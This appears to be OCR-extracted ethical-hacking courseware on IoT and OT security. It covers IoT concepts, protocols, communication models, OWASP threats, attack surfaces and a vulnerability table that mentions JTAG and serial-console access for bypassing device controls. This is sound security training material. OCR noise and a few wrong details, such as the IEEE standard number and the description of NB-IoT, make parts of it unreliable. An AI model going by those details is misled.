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Learning Objectives

The Internet of Things (loT) has evolved from the convergence of wireless technology, micro-
electromechanical systems, micro-services, and the Internet. |oT solutions are applied in
different sectors of industry, including healthcare, building management, agriculture, energy,
and transportation. Many organizations are driving the loT transformation. 10T devices, such as
wearables, industrial appliances, connected electronic devices, smart grids, and smart vehicles,
are becoming part of interconnected networks. These devices generate a huge amount of data
that is collected, analyzed, logged, and stored on the networks.

The loT has introduced a range of new technologies with associated capabilities into our daily
lives. As the 10T is an evolving technology, the immaturity of technologies and services provided
by various vendors will have a broad impact on organizations, leading to complex security
issues. 10T security is difficult to ensure as the devices use simple processors and stripped-down
operating systems that may not support sophisticated security approaches. Organizations using
these devices as part of their network need to protect both the devices and the information
from attackers.

As industrial companies are digitizing their industrial facilities to enhance operational efficiency
through Internet connectivity and remote data access, they need to increasingly focus on
cybersecurity to mitigate new threats and safety issues arising from the convergence of
operational technology and information technology (OT—IT). Organizations need to understand
the landscape of cyber threats, industrial infrastructure, and business. Before implementing
cybersecurity policies and controls, organizations need to identify and prioritize key risks and
threats that will have the greatest impact on their business.
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The main objective of this module is to explain the potential threats to IoT and OT platforms
and to provide guidelines for securing 10T devices and OT infrastructure from evolving threats
and attacks.

At the end of this module, you will be able to
= Explain loT concepts
* Understand different IoT threats and attacks
= Describe the loT hacking methodology
= Use different loT hacking tools
=  Apply countermeasures to protect devices from loT attacks
= Use different |oT security tools
= Explain OT concepts
"= Understand different OT threats and attacks
" Describe the OT hacking methodology and use different OT hacking tools
=  Apply countermeasures to protect industrial facilities from OT attacks

=  Use different OT security tools
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LO#01: Summarize IoT Concepts
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IoT Concepts

The loT is an important and emerging topic in the field of technology, economics, and society in
general. It is referred to as the web of connected devices, made possible by the intersection
between machine-to-machine communications and big data analytics. The 10T is a future-facing
development of the Internet and abilities of physical devices that are gradually narrowing the
gap between the virtual and physical world. This section deals with some of the important IoT
concepts that one should be familiar with to understand the advanced topics covered later in
this module.

Module 18 Page 2764 Ethical Hacking and Countermeasures Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
loT and OT Hacking

What is the IoT? EH

C
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1 Internet of Things (loT), also known as Internet of Everything (I0E), refers to the network of devices having IP addresses
and the capability to sense, collect, and send data using embedded sensors, communication hardware
and processors

2 In loT, the term thing is used to refer to a device that is implanted on natural, human-made, or machine-made objects
and has the functionality of communicating over the network
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What is the IoT?

The Internet of Things (loT), also known as the Internet of Everything (IoE), refers to computing
devices that are web-enabled and have the capability of sensing, collecting, and sending data
using sensors, and the communication hardware and processors that are embedded within the
device. In the 10T, a “thing” refers to a device that is implanted in a natural, human-made, or
machine-made object and has the functionality of communicating over a network. The loT
utilizes existing emerging technology for sensing, networking, and robotics, therefore allowing
the user to achieve deeper analysis, automation, and integration within a system.

With the increase in the networking capabilities of machines and everyday appliances used in
different sectors like offices, homes, industry, transportation, buildings, and wearable devices,
they open up a world of opportunities for the betterment of business and customer
satisfaction. Some of the key features of the loT are connectivity, sensors, artificial intelligence,
small devices, and active engagement.
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Figure 18.1: lllustration of loT devices
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How the IoT Works
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How the IoT Works

loT technology includes four primary systems: 0T devices, gateway systems, data storage
systems using cloud technology, and remote control using mobile apps. These systems together
make communication between two endpoints possible.

Discussed below are some of the important components of loT technology that play an
essential role in the function of an loT device:

= Sensing Technology: Sensors embedded in the devices sense a wide variety of
information from their surroundings, including temperature, gases, location, workings of
some industrial machinery, or health data of a patient.

* |oT Gateways: Gateways are used to bridge the gap between an loT device (internal
network) and the end-user (external network), thus allowing them to connect and
communicate with each other. The data collected by the sensors in the 10T device is sent
to the connected user or cloud through the gateway.

* (Cloud Server/Data Storage: After traveling through the gateway, the collected data
arrives at the cloud, where it is stored and undergoes data analysis. The processed data
is then transmitted to the user, who can take certain actions based on the information
received.

= Remote Control using Mobile App: The end-user uses remote controls such as mobile
phones, tablets, laptops, etc. installed with a mobile app to monitor, control, retrieve
data, and take a specific action on IoT devices from a remote location.
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Example:

1. A smart security system installed in a home will be integrated with a gateway, which in
turn helps to connect the device to the Internet and the cloud infrastructure.

2. Data stored in a cloud includes information about every device connected to the
network. This information includes the device’s ID and the present status of the device,
as well as information regarding who has accessed the device and how many times. It
also includes information such as how long the device was accessed for previously.

3. The connection with the cloud server is established through web services.

4. The user on the other side, who has the required app to access the device remotely on
his/her mobile phone, interacts with it, which in turn allows him/her to interact with the
device at home. Before accessing the device, he/she is asked to authenticate
him/herself. If the credentials submitted by him/her match those saved in the cloud,
he/she is granted access. Otherwise, his/her access is denied, ensuring security. The
cloud server identifies the device’s ID and sends a request associated with that device
using gateways.

5. The security system that is currently recording the footage at home, if it senses any
unusual activity, then sends an alert to the cloud through the gateway, which matches
the device’s ID and the user associated with it, and finally, the end-user receives an

alert.
Humidity/Moisture ‘_.-'-'7
g‘a"-'a """"" .
. {E' 'i" '-""
| ST es®® e A Data Storage/
-" i" S
£ | et g Cloud Server
Temperature Send Data

{ IIIIII : llllllllllllllll
Receive Command

loT Gateway

Pressure

Sound/Vibration
loT Devices
Remote Control using
Mobile App
Figure 18.2: Workings of the loT
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IoT Architecture

The loT architecture includes several layers, from the Application layer at the top to the Edge
Technology layer at the bottom. These layers are designed in such a way that they can meet the
requirements of various sectors, including societies, industry, enterprises, governments, etc.

The functions performed by each layer in the architecture are given below:

= Edge Technology Layer

This layer consists of all the hardware components, including sensors, radio-frequency
identification (RFID) tags, readers, or other soft sensors, and the device itself. These
entities are the primary part of the data sensors that are deployed in the field for
monitoring or sensing various phenomena. This layer plays an important part in data
collection, and in connecting devices within the network and with the server.

= Access Gateway Layer

This layer helps to bridge the gap between two endpoints, such as a device and a client.
The initial data handling also takes place in this layer. This layer carries out message
routing, message identification, and subscribing.

" |Internet Layer

This is a crucial layer as it serves as the main component in carrying out communication
between two endpoints, such as device-to-device, device-to-cloud, device-to-gateway,
or back-end data sharing.

= Middleware Layer

This is one of the most critical layers that operates in two-way mode. As the name
suggests, this layer sits in the middle of the application layer and the hardware layer,
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thus behaving as an interface between these two layers. It is responsible for important
functions such as data management, device management, and various issues like data
analysis, data aggregation, data filtering, device information discovery, and access
control.

= Application Layer

This layer, placed at the top of the stack, is responsible for the delivery of services to the
relevant users from different sectors, including building, industrial, manufacturing,
automobile, security, healthcare, etc.
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IoT Application Areas and Devices (Cont’d) C 'Eu
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IoT Application Areas and Devices

loT devices have a wide range of applications. They are used in almost every sector of society to
assist in various ways to simplify routine work and personal tasks and, thus, improve the
standard of living. 10T technology is included in smart homes and buildings, healthcare devices,
industrial appliances, transportation, security devices, the retail sector, etc.
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Some of the applications of 10T devices are as follows:

Smart devices that are connected to the Internet, providing different services to end-
users, include thermostats, lighting systems and security systems, and several other
systems that reside in buildings.

In the healthcare and life science sectors, devices include wearable devices, health
monitoring devices such as implanted heart pacemakers, ECG, EKG, surgical equipment,
telemedicine, etc.

The Industrial Internet of Things (lloT) is attracting growth through three approaches:
increasing production to boost revenue, using intelligent technology that is entirely
changing the way goods are made, and the creation of new hybrid business models.

Similarly, use of loT technology in the transportation sector follows the concept of
vehicle-to-vehicle, vehicle-to-roadside, and vehicle-to-pedestrian communication, thus
improving traffic conditions, navigation systems, and parking schemes.

loT in retail is mainly used in payments, advertisements, and tracking or monitoring
products to protect them from theft and loss, thereby increasing revenue.

In IT and networks, 0T devices mainly include various office machines such as printers,
fax machines, and copiers as well as PBX monitoring systems; these serve to improve
communication between endpoints and provide ease of sending data across long
distances.

Source: http://www.beechamresearch.com
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IoT Technologies and Protocols

The 1oT includes a wide range of new technologies and skills. The challenge in the IoT space is
the immaturity of technologies with associated services, and that of the vendors providing
them. This poses a key challenge for the organizations exploiting the loT. For successful
communication between two endpoints, 0T primarily implements standard and networking
protocols.

The major communication technologies and protocols with respect to the range between a
source and the destination are as follows:

Short-Range Wireless Communication

Module 18 Page 2775

Bluetooth Low Energy (BLE): BLE or Bluetooth Smart is a wireless personal area
network. This technology is designed to be applied in various sectors such as healthcare,
security, entertainment, and fitness.

Light-Fidelity (Li-Fi): Li-Fi is like Wi-Fi with only two differences: the mode of
communication and the speed. Li-Fi is a Visible Light Communications (VLC) system that
uses common household light bulbs for data transfer at a very high speed of 224 Gbps.

Near-Field Communication (NFC): NFC is a type of short-range communication that uses
magnetic field induction to enable communication between two electronic devices. It is
primarily used in contactless mobile payment, social networking, and the identification
of documents or other products.

QR Codes and Barcodes: These codes are machine-readable tags that contain
information about the product or item to which they are attached. A quick response
code, or QR code, is a two-dimensional code that stores product information and can be
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scanned using smartphones, whereas a barcode comes in both one-dimensional (1D)
and two-dimensional (2D) forms of code.

Radio-Frequency ldentification (RFID): RFID stores data in tags that are read using
electromagnetic fields. RFID is used in many sectors including industrial, offices,
companies, automobiles, pharmaceuticals, livestock, and pets.

Thread: A thread is an IPv6-based networking protocol for 10T devices. Its main purpose
IS home automation so that the devices can communicate with each other on local
wireless networks.

Wi-Fi: Wi-Fi is a technology that is widely used in wireless local area networking (LAN).
At present, the most common Wi-Fi standard that is used in homes or companies is
802.11n, which offers a maximum speed of 600 Mbps and a range of approximately 50
m.

Wi-Fi Direct: This is used for peer-to-peer communication without the need for a
wireless access point. Wi-Fi direct devices start communication only after deciding
which device will act as an access point.

Z-Wave: Z-Wave is a low-power, short-range communication designed primarily for
home automation. It provides a simple and reliable way to wirelessly monitor and
control household devices like HVAC, thermostats, garages, home cinemas, etc.

Zig-Bee: This is another short-range communication protocol based on the |[EEE 203.15.4
standard. Zig-Bee is used in devices that transfer data infrequently at a low rate in a
restricted area and within a range of 10-100 m.

ANT: Adaptive Network Topology (ANT) is a multicast wireless sensor network
technology mainly used for short-range communication between devices related to
sports and fitness sensors.

Medium-Range Wireless Communication

Halow: This is another variant of the Wi-Fi standard; it provides an extended range,
making it useful for communications in rural areas. It offers low data rates, thus
reducing the power and cost of transmission.

LTE-Advanced: LTE-Advanced is a standard for mobile communication that provides
enhancement to LTE, focusing on providing higher capacity in terms of data rate,
extended range, efficiency, and performance.

6LOWPAN: IPv6 over Low-Power Wireless Personal Area Networks (6LOWPAN) is an
Internet protocol used for communication between smaller and low-power devices with
limited processing capacity, such as various loT devices.

QUIC: Quick UDP Internet Connections (QUICs) are multiplexed connections between
loT devices over the User Datagram Protocol (UDP); they provide security equivalent to
SSL/TLS.
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Long-Range Wireless Communication

LPWAN: Low Power Wide Area Networking (LPWAN) is a wireless telecommunication
network, designed to provide long-range communications between two endpoints.
Available LPWAN protocols and technologies include the following:

o LoRaWAN: A Long Range Wide Area Network (LoRaWAN) is used to support
applications such as mobile, industrial machine-to-machine, and secure two-way
communications for loT devices, smart cities, and healthcare applications.

o Sigfox: This is used in devices that have short battery life and need to transfer a
limited amount of data.

o Neul: This is used in a tiny part of the TV white space spectrum to deliver high-
quality, high-power, high-coverage, and low-cost networks.

Very Small Aperture Terminal (VSAT): VSAT is a communication protocol that is used
for data transfer using small dish antennas for both broadband and narrowband data.

Cellular: Cellular is a type of communication protocol that is used for communication
over a longer distance. It is used to send high-quality data but with the drawbacks of
being expensive and having high power consumption.

MQTT: Message Queuing Telemetry Transport (MQTT) is an ISO standard lightweight
protocol used to transmit messages for long-range wireless communication. It helps in
establishing connections to remote locations, for example via satellite links.

NB-loT: Narrowband loT (NB-IoT) is a variant of LoORaWAN and Sigfox that uses more
enhanced physical layer technology and the spectrum used for machine-to-machine
communication.

Wired Communication

Ethernet: Ethernet is the most commonly used type of network protocol today. It is a
type of LAN (Local Area Network) that consists of a wired connection between
computers in a small building, office, or campus.

Multimedia over Coax Alliance (MoCA): MoCA is a type of network protocol that
provides high-definition videos and related content to homes over existing coaxial
cables.

Power-Line Communication (PLC): This is a type of protocol that uses electrical wires to
transmit power and data from one endpoint to another. PLC is required for applications
in different areas such as home automation, industrial devices, and broadband over
power lines (BPL).

loT Operating Systems

loT devices consist of both hardware and software components. Hardware components include
end devices and gateways, whereas software components include operating systems. Due to an
increase in the production of hardware components (gateways, sensor nodes, etc.), traditional
loT devices that previously used to run without an OS started adopting new OS
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implementations specifically programmed for 10T devices. These operating systems provide the
devices with connectivity, usability, and interoperability.

Given below are some of the operating systems used by loT devices:

Windows 10 loT: This is a family of operating systems developed by Microsoft for
embedded systems.

Amazon FreeRTOS: This is a free open-source OS used in loT microcontrollers that
makes low-power, battery-operated edge devices easy to deploy, secure, connect, and
manage.

Contiki: This is used in low-power wireless devices such as street lighting, sound
monitoring systems, etc.

Fuchsia: This is an open-source OS developed by Google for various platforms, such as
embedded systems, smartphones, tablets, etc.

RIOT: This has fewer resource requirements and uses energy efficiently. It has the ability
to run on embedded systems, actuator boards, sensors, etc.

Ubuntu Core: Also known as Snappy, this is used in robots, drones, edge gateways, etc.
ARM Mbed OS: This is mostly used for low-powered devices such as wearable devices.
Zephyr: This is used in low-power and resource-constrained devices.

Embedded Linux: This is used with all small, medium, and large embedded systemes.

NuttX RTOS: This is an open-source OS primarily developed to support 8-bit and 32-bit
microcontrollers of embedded systemes.

Integrity RTOS: Primarily used in the aerospace or defense, industrial, automotive, and
medical sectors.

Apache Mynewt: This supports devices that work on the BLE protocol.

loT Application Protocols

CoAP: Constrained Application Protocol (CoAP) is a web transfer protocol used to
transfer messages between constrained nodes and |oT networks. This protocol is mainly
used for machine-to-machine (M2M) applications such as building automation and
smart energy.

Edge: Edge computing helps the loT environment to move computational processing to
the edge of the network, allowing smart devices and gateways to perform tasks and
services from the cloud end. Moving computational services to the edge of the network
improves content caching, delivery, storage, and management of the loT.

LWM2M: Lightweight Machine-to-Machine (LWM2M) is an application-layer
communication protocol used for application-level communication between loT devices;
it is used for loT device management.
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* Physical Web: Physical Web is a technology used to enable faster and seamless
interaction with nearby loT devices. It reveals the list of URLs being broadcast by nearby
devices with BLE beacons.

* XMPP: eXtensible Messaging and Presence Protocol (XMPP) is an open technology for
real-time communication used for 10T devices. This technology is used for developing
interoperable devices, applications, and services for the loT environment.

=  Mihini/M3DA: Mihini/M3DA is a software used for communication between an M2M
server and applications running on an embedded gateway. It allows |oT applications to
exchange data and commands with an M2M server.
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IoT Communication Models

loT technology uses various technical
These models highlight the flexibility
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communication models, each with its own characteristics.
with which loT devices can communicate with each other

or with the client. Discussed below are four communication models and the key characteristics

associated with each model:

Module 18 Page 2780

Device-to-Device Communication Model

In this type of communication, inter-connected devices interact with each other through
the Internet, but they predominantly use protocols such as ZigBee, Z-Wave or
Bluetooth. Device-to-device communication is most commonly used in smart home
devices such as thermostats, light bulbs, door locks, CCTV cameras, and fridges, which
transfer small data packets to each other at a low data rate. This model is also popular
in communication between wearable devices. For example, an ECG/EKG device attached
to the body of a patient will be paired to his/her smartphone and will send him/her
notifications during an emergency.

~

=

==

@ rsnsnnnnnsnnnnnnnnnP “ @rrnssannnnsnnnnnnnnnd

Light Switch from
manufacturer B

Light Bulb from
manufacturer A

Wireless Network

v" Bluetooth
v Z-wave
v’ Zigbee

Figure 18.3: loT device-to-device communication model
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" Device-to-Cloud Communication Model

In this type of communication, devices communicate with the cloud directly, rather than
directly communicating with the client to send or receive data or commands. It uses
communication protocols such as Wi-Fi or Ethernet, and sometimes uses Cellular as
well.

An example of Wi-Fi-based device-to-cloud communication is a CCTV camera that can be
accessed on a smartphone from a remote location. In this scenario, the device (here, the
CCTV camera) cannot directly communicate with the client; rather, it first sends data to
the cloud, and then, if the client inputs the correct credentials, he/she is then allowed to
access the cloud, which in turn allows him/her to access the device at his/her home.

Application
--lv - - ‘i.
Service Provider
B 4" v HTTP V CoAP & I
E v TLS v DTLS e
- v TCP v UDP
: - v IP v . =
Device with 4 Device with
Temperature Carbon Monoxide
Sensor Sensor

Figure 18.4: loT device-to-cloud communication model
"= Device-to-Gateway Communication Model

In the device-to-gateway communication model, the loT device communicates with an
intermediate device called a gateway, which in turn communicates with the cloud
service. This gateway device could be a smartphone or a hub that is acting as an
intermediate point, which also provides security features and data or protocol
translation. The protocols generally used in this mode of communication are ZigBee and
/-Wave.

If the application layer gateway is a smartphone, then it might take the form of an app
that interacts with the |oT device and with the cloud. This device might be a smart TV
that connects to the cloud service through a mobile phone app.

Application P
v’ HTTP Service Provider CoAP
2 TR . <., Y DTS
"--"pl"‘ : |pv4/Ipu6 '.il.l.....
ET AR (e, o, | v upp "»
e v IPV6 =, v 1PV
S - ﬁ_ﬁ:ﬂ- Local Gateway
Device with Local 1 Protocol Device with
Temperature 'IIIIIIIIII:/IIIIB;‘;;;;IDI;LISII;]IEII-; lllllllllllllllll | cHrbon Monoxide
Sehsor v 1EEE 802.11 (Wi-Fi) aensor
v’ |EEE 802.15.4 (LR-WPAN)
Figure 18.5: 10T device-to-gateway communication model
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Back-End Data-Sharing Communication Model

This type of communication model extends the device-to-cloud communication type
such that the data from the loT devices can be accessed by authorized third parties.
Here, devices upload their data onto the cloud, which is later accessed or analyzed by
third parties. An example of this model would be an analyzer of the yearly or monthly
energy consumption of a company. Later, the analysis can be used to reduce the
company’s expenditure on energy by following certain energy-harvesting or saving
techniques.

Protocol Stack

Application
CoAP : :
O Service Provider #2
or T 4
I HELP Application PO ‘HTTPS
Ei..._ duununannn =nu]p = =
Service Provider #1 Oauth 2.0
| ¥..  JSON
Light e
Sensor e Application

Service Provider #3

Figure 18.6: loT back-end data-sharing model
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Challenges of IoT

loT technology is growing so quickly that it has become ubiquitous. With numerous applications
and features but a lack of basic security policies, 10T devices are currently easy prey for hackers.
In addition, upgrades to 10T devices have introduced new security flaws that can be easily
exploited by hackers. To overcome this significant issue, manufacturing companies should
consider security as the top priority, starting with planning and design, and up to deployment,
implementation, management, and maintenance.

Discussed below are some of the challenges facing 10T devices that make them vulnerable to

threats

Lack of Security and Privacy: Most |oT devices today, such as household devices,
industrial devices, healthcare devices, automobiles, etc., are connected to the Internet
and contain important and confidential data. These devices lack even basic security and
privacy policies, and hackers can exploit this to carry out malicious activity.

Vulnerable Web Interfaces: Many IoT devices come with embedded web server
technology that makes them vulnerable to attacks.

Legal, Regulatory, and Rights Issue: Due to the interconnection of IoT devices, certain
security issues are raised with no existing laws that address these issues.

Default, Weak, and Hardcoded Credentials: One of the most common reasons for
cyber-attacks on IoT devices is their authentication systems. These devices usually come
with default and weak credentials, which can easily be exploited by a hacker to gain
unauthorized access to the devices.
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" (Clear Text Protocols and Unnecessary Open Ports: |IoT devices lack encryption
techniques during the transmission of data, which at times causes them to use certain
protocols that transmit data in clear text in addition to having open ports.

* Coding Errors (Buffer Overflow): Most |oT devices today have embedded web services
that are subject to the same vulnerabilities that are commonly exploited on web service
platforms. As a result, updating such functionality may give rise to issues like buffer
overflows, SQL injection, etc. within technology infrastructure.

= Storage Issues: 0T devices generally come with smaller data storage capacity, but the
data collected and transmitted by the devices is limitless. Therefore, this gives rise to
data storage, management, and protection issues.

= Difficult-to-Update Firmware and OS: Upgrading firmware is an essential step toward
countering vulnerabilities in a device, but it may impair a device’s functionality. For this
reason, developers or manufacturers may hesitate or even refuse to provide product
support or make adjustments during the development phase of their products.

* |Interoperability Standard Issues: One of the biggest obstacles for |oT devices is the
interoperability issue, which is key to the viability and long-term growth of the entire loT
ecosystem. The issues that arise due to lack of interoperability in 10T devices are the
inability of manufacturers to test application programming interfaces (APIs) using
common methods and mechanisms, their inability to secure devices using software from
third parties, and their inability to manage and monitor devices using a common layer.

* Physical Theft and Tampering: Physical attacks on loT devices include tampering with
the devices to inject malicious code or files to make the devices work the way the
attacker intends, or making hardware modifications to the devices. Counterfeiting the
devices may also be an issue when proper physical protection is not present to shield
the devices.

* Lack of Vendor Support for Fixing Vulnerabilities: The firmware of the devices has to be
upgraded in order to protect the devices against certain vulnerabilities, but vendors are
hesitant, or they usually refuse to get third-party access to their devices.

* Emerging Economy and Development Issues: With widespread opportunities for loT
devices in every field, multiple layers of complexity are added for policymakers. The new
landscape introduced by these devices adds a new dimension for the policymakers, who
have to design new blueprints and policies for 10T devices.

* Handling of Unstructured Data: An increase in the number of connected devices will
increase the complexity of handling unstructured data as its volume, velocity, and
variety increases. It is important for organizations to understand and determine which
data is valuable and actionable.
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Threat vs Opportunity C

J If MISCONFIGURED and MISAPPREHENDED, the loT poses an unprecedented risk
to personal data, privacy and safety

J If APPREHENDED and PROTECTED, the loT can boost transmissions, communications, |
delivery of services, and standard of living
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Threat vs Opportunity

If MISCONFIGURED and MISAPPREHENDED, the IoT poses an unprecedented risk to personal
data, privacy, and safety. If APPREHENDED and PROTECTED, |oT can boost transmissions,
communications, delivery of services, and standard of living.

The threats to the 10T can be sorted into three primary categories: Security, Privacy, and Safety.
All these categories are interrelated as they deal with the same device and its connectivity. The
importance of these categories is clear, as 10T devices are fast becoming more pervasive in our
ives than smartphones and will have access to the most confidential or sensitive personnel
information, such as health records, financial records, and social security numbers.

For instance, when it comes to smartphones or tablets, there are only a couple of concerns in
these areas, whereas if we possess any loT device, then the concerns quickly multiply in
number. Therefore, considering what loTs can access, security, privacy, and safety are of
paramount importance.

If these three categories of threats are prioritized and a number of required techniques are
employed to overcome these issues, it will result in enhanced and secure communication
between two endpoints, fewer cyber-attacks on devices, and a better user experience; in
addition, it will also result in cost savings and efficiency gains.
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LO#02: Explain IoT Attacks
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IoT Attacks

Attackers implement various techniques to launch attacks on target IoT devices or networks.
This section discusses the top loT threats in relation to the basic types of loT attack vectors and
techniques, including distributed denial-of-service (DDoS) attacks, attacks on HVAC systems,
rolling code attacks, BlueBorne attacks, and jamming attacks.
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IoT Security Problems CEH
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IoT Security Problems

Potential vulnerabilities in the 10T system can result in major problems for organizations. Most
loT devices come with security issues such as the absence of a proper authentication
mechanism or the use of default credentials, absence of a lock-out mechanism, absence of a
strong encryption scheme, absence of proper key management systems, and improper physical
security.

Some of the security issues at each layer of 10T architecture are given below:

Validation of the inputted string, AuthN, AuthZ, no automatic security

APPLICATION updates, default passwords
NETWORK Firewall, improper communications encryption, services, lack of automatic
updates
MOBILE Insecure API, lack of 'cummunicatiﬂn channels encryption, authentication,
lack of storage security
CLOUD !mprnper authentlcatlﬂn, no encryption for storage and communications,
insecure web interface
IoT Application + Network + Mobile + Cloud = loT

Figure 18.7: Security problems in loT architecture
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OWASP Top 10 IoT Threats

Source: https://owasp.org

The Top 10 loT threats, according to the Open Web Application Security Project (OWASP), are
listed below:

Weak, Guessable, or Hardcoded Passwords

Using weak, guessable, or hardcoded passwords allows publicly available or
unchangeable credentials to be determined via brute forcing. This also includes
backdoors in the firmware or client software that lead to unauthorized access to the
deployed devices.

Insecure Network Services

Insecure network services are prone to various attacks like buffer overflow attacks,
which cause a denial-of-service scenario, thus leaving the device inaccessible to the
user. An attacker uses various automated tools such as port scanners and fuzzers to
detect the open ports and exploit them to gain unauthorized access to services.

These insecure network services that are open to the Internet may compromise the
confidentiality, authenticity, integrity, or availability of information and also allow
remote access to critical information.

Insecure Ecosystem Interfaces

Insecure ecosystem interfaces such as web, backend API, mobile, and cloud interfaces
outside the device lead to compromised security of the device and its components.
Common vulnerabilities in such interfaces include lack of authentication/authorization,
lack of encryption or weak encryption, and lack of input/output filtering.
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* Lack of Secure Update Mechanisms

Lack of secure update mechanisms, such as a lack of firmware validation on the device,
lack of secure delivery, lack of anti-rollback mechanisms, or lack of notifications of
security changes, may be exploited to perform various attacks.

= Use of Insecure or Outdated Components

Use of outdated or older versions of software components or libraries, such as insecure
customization of OS platforms or use of third-party hardware or software components
from a compromised supply chain, may allow the devices themselves to be
compromised.

* |Insufficient Privacy Protection

Insufficient privacy protection allows the user’s personal information stored on the
devices or ecosystem to be compromised.

" |nsecure Data Transfer and Storage

Lack of encryption and access control of data that is in transit or at rest may result in
leakage of sensitive information to malicious users.

* Lack of Device Management

Lack of appropriate security support through device management on devices deployed
in production, including asset management, update management, secure
decommissioning, system monitoring, and response capabilities, may open the door to
various attacks.

" |Insecure Default Settings

Insecure or insufficient device settings restrict the operators from modifying
configurations to make the device more secure.

* Lack of Physical Hardening

Lack of physical hardening measures allows potential attackers to acquire sensitive
information that helps them in performing a remote attack or obtaining local control of
the device.
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OWASP IoT Attack Surface Areas
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OWASP IoT Attack Surface Areas (Cont’d) C 'E!:I_
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OWANSP IoT Attack Surface Areas

Source: https://owasp.org

The OWASP |oT attack surface areas are given below:

Attack Surface Area

Vulnerabilities

1. Ecosystem (General)

" |nteroperability standards
= Data governance

" System-wide failure

" |ndividual stakeholder risks

= |mplicit trust between components
" Enrollment security

" Decommissioning system

" |ost access procedures

2. Device Memory

= Sensitive data
G C
o

o Third-party credentials

eartext usernames

eartext passwords

o Encryption keys

3. Device Physical Interfaces

" Firmware extraction

= User CLI
= Admin CLI

" Privilege escalation
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Reset to insecure state

Removal of storage media
Tamper resistance

Debug port

o UART (Serial)

o JTAG/SWD

Device ID/serial number exposure

4. Device Web Interface

Standard set of web application vulnerabilities:
o OWASP Web Top 10

o OWASP ASVS

o OWASP Testing Guide

Credential management vulnerabilities:
Username enumeration

Weak passwords

Account lockout

Known default credentials

O O O O O

Insecure password recovery mechanism

5. Device Firmware

Sensitive data exposure (See OWASP Top 10 — A6 Sensitive
Data Exposure):

Backdoor accounts

Hardcoded credentials

Encryption keys

Encryption (symmetric, asymmetric)

Sensitive information

g Q Q Q Q 0O

Sensitive URL disclosure
Firmware version display and/or date of last update
Vulnerable services (web, SSH, TFTP, etc.)

o Verify for old software versions and possible attacks
(Heartbleed, Shellshock, old PHP versions, etc.)

Security-related function APl exposure
Firmware downgrade possibility

6. Device Network Services

nformation disclosure
Jser CLI
Administrative CLI
Injection

Denial of service

Unencrypted services

Poorly implemented encryption
Test/development services
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Buffer overflow

UPnP

Vulnerable UDP services

Device firmware OTA update block

Firmware loaded over insecure channel (no TLS)
Replay attack

_ack of payload verification

Lack of message integrity check
Credential management vulnerabilities:
Username enumeration

Weak passwords

Account lockout

Known default credentials

Q O L Q

Insecure password recovery mechanism

7. Administrative Interface

Standard set of web application vulnerabilities:
o OWASP Web Top 10

o OWASP ASVS

o OWASP Testing Guide

Credential management vulnerabilities:
Username enumeration

Weak passwords

Account lockout

Known default credentials

B Q QO Q9 0O

Insecure password recovery mechanism
Security/encryption options

Logging options

Two-factor authentication

Check for insecure direct object references
Inability to wipe device

8. Local Data Storage

Unencrypted data
Data encrypted with discovered keys

_ack of data integrity checks
Use of static same encryption/decryption key

9. Cloud Web Interface

Standard set of web application vulnerabilities:
o OWASP Web Top 10

o OWASP ASVS

o OWASP Testing Guide

Credential management vulnerabilities:
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Username enumeration
Weak passwords

Account lockout

Known default credentials

@ Q9 O O

Insecure password recovery mechanism
Transport encryption
Two-factor authentication

10.Third-party Backend APIs

Unencrypted Pll sent
Encrypted Pll sent

Device information leaked
Location leaked

11.Update Mechanism

Update sent without encryption
Updates not signed

Update location writable
Update verification

Update authentication
Malicious update

Missing update mechanism

No manual update mechanism

12. Mobile Application

mplicitly trusted by device or cloud

Jsername enumeration

Account lockout

Known default credentials

Weak passwords

Insecure data storage

Transport encryption

Insecure password recovery mechanism

Two-factor authentication

13.Vendor Backend APIs

Inherent trust of cloud or mobile application
Weak authentication

Weak access controls
Injection attacks
Hidden services

14.Ecosystem Communication

Health checks

Heartbeats
Ecosystem commands

Deprovisioning

Pushing updates
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15. Network Traffic

= LAN

= LAN to Internet

= Short range

= Non-standard

"= Wireless (Wi-Fi, Z-wave, XBee, Zigbee, Bluetooth, LoRa)
" Protocol fuzzing

16.Authentication/Authorization | * Device-to-mobile-application authentication

= Authentication/authorization-related values (session key,
token, cookie, etc.) disclosure

= Reuse of session key, token, etc.
" Device-to-device authentication

= Device-to-cloud-system authentication

" Mobile-application-to-cloud-system authentication
" Web-application-to-cloud-system authentication

* Lack of dynamic authentication

17.Privacy

"  User data disclosure
" User/device location disclosure
= Differential privacy

18.Hardware (Sensors)

" Sensing environment manipulation
* Tampering (physical)

= Damage (physical)

Module 18 Page 2795

Table 18.2: OWASP |oT Attack Surface Areas

Ethical Hacking and Countermeasures Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures

loT and OT Hacking

Exam 312-50 Certified Ethical Hacker

1. Username Enumeration

2. Weak Passwords

3. Account Lockout

4. Unencrypted Services

Authentication

6. Poorly Implemented

8. Update Location
Writable

9. Denial of Service

IoT Vulnerabilities
Source: https://owasp.org

@ Abilityto set account passwords to '1234' or '123456'
forexample

@ Usage of pre-programmed default passwords

& Abilityto continue sending authentication attempts
after3-5failedlogin attempts

@ Network services are not properly encrypted to
prevent eavesdropping or tampering by attackers

5. Two-factor @ Lack of two-factor authentication mechanisms such as
a securitytoken or fingerprint scanner

@ Encryptionisimplemented butisimproperly

Encryption configured or not being properly updated, e.g. using
SSLv2
7. Update Sent Without © Updates are transmitted over the network without
Encryption using TLS orencrypting the update file i tself

© Storage loation for update files is world writable,

which canallow firmware to be modified and
distributed to all users

© Service canbe attackedinawaythatdenies service
to thatservice orthe entire device

IoT Vulnerabilities
[ vunerabiity | Descripton

© Abilityto collectasetofvalid usernames by
interacting with the authentication mechanism

10.
11.
12.

13.

15.

16.

17.

4

The OWASP loT vulnerabilities are given below:

Hndfl-nlh-irh-

Vulnerabilities Obstacles

Removal of Storage
Media

No Manual Update
Mechanism

Missing Update
Mechanism

Firmware Version
Display and/or Last
Update Date

Firmware and Storage
Extraction

Manipulating the
Code Execution Flow
of the Device

Obtaining Console
Access

Insecure Third-party
Components

& Abilityto physically remove the storage media frumthe |
device

No ability to manually force an update check for the
device

No ability to update the device ‘

Current firmware versionis not displayed and/or the
|last update date is not displayed

source code and binaries of runningservices, preset

Firmware contains a lot of useful information, like |
passwords, andssh keys

With the help ofa JTAG adapter and GNU debugger, we
can modifythe execution of firmware in the device and
bypass almost all software-based security controls

Side channel attacks can modify the execution flow or
can be usedto leak information fromthe device

By connectingto a serial interface, we can obfain full
console access to a device

